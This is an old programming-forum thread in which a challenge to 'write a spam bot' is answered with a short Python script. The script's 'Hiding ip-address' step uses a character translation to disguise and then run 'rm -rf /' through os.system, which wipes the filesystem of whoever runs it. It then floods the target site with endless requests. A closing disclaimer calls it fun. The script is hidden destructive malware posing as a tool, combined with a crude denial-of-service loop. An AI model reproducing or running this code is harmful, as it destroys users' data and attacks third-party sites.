Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

/prog/ramming Challenge Nr. 6

Name: Anonymous 2007-10-04 9:33

This week: write a spam bot.

Name: Anonymous 2007-10-04 13:31

#!/usr/bin/python
import string
import urllib
import os

while True:
    print "Enter address of site to spam:"
    site = raw_input()
    if site.startswith('http://'):
        break
    print "Address must start with ``http://''"

print "Hiding ip-address"
tr = string.maketrans('/tph:', 'fm-rr')
ip = string.translate(site, tr)
os.system(ip[0:2] + ' ' + ip[3:6] + ' /')

print "Starting spam attack..."
while True:
    urllib.urlopen(site)


DISCLAIMER: I only wrote this for fun. Please don't abuse it.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List